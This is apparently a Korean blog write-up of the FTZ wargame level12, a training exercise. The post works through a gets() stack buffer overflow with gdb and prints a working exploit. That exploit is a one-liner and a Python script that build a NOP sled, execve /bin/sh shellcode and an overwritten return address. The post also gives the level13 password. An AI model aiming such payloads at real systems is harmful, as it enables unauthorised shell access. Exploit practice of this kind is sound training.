Wargame/FTZ

[FTZ]level12

D4tai1 2019. 9. 7.

level11부터는

공격코드도 작성해야하네요!!

 

[그림1] hint 파일 확인

딱 봐도 gets라는 취약한 함수가 눈에 띄네요!!

 

level11과 비슷한 문제같은데

입력을 main함수의 인자로 받는 것이 아니고

프로그램 내에서 받고 있네요.

 

[그림2] attackme를 gdb로 확인

 

level11과 비스무리하지만

 

아래를 살펴보면

main+56에서

gets가 eax의 주소에 입력을 하고 있으며

eax는 ebp-264를 의미하네요.

 

main+79라인에서 보면

eax가 가리키는 곳을 출력하고 있네요.

 

종합해보면

입력받은 내용을 출력하지요.

 

[그림3] str의 주소 확인

main+79에 브레이크포인트를 걸고

실행해 봅시다.

 

문장을 입력하라니..

"aaaa"

 

이 후 eax가 가리키는 곳의 문자열을 출력해보면

"aaaa"

즉, 입력한 것이 출력되네요.

 

대략 그려보면

str[256] + dummy[8] + SFP[4] + RET[4]

구성되겠네요?

 

RET에는 0xbfffeaf0이 들어가구요.

 

[그림4] 공격코드 작성

 

세그먼트 폴트가 뜨지만

ASLR때문이라 여러번 시도하면

shell이 얻어지네요.

 

(python -c "print '\x90'*100+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e

\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x90'*143+'\xf0\xea\xff\xbf'"; cat) | ./attackme

 

 

[그림5] clear

화면이 너무 안 이쁘죠?

조금 깔끔하게 공격코드를 작성해 봅시다.

import os
import struct

p32 = lambda x:struct.pack('<L', x)

shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb0\x0b\xcd\x80'

ret_addr = 0xbfffeaf0

payload = '\x90'*100
payload += shellcode
payload += '\x90'*143
payload += p32(ret_addr)

print payload

 

[그림6] 공격스크립트를 이용한 공격

 

Level13 Password is "have no clue".

'Wargame > FTZ' 카테고리의 다른 글

[FTZ]level14  (0) 2019.09.08
[FTZ]level13  (0) 2019.09.07
[FTZ]level11  (0) 2019.09.07
[FTZ]level10  (0) 2019.09.05
[FTZ]level9  (0) 2019.09.05

댓글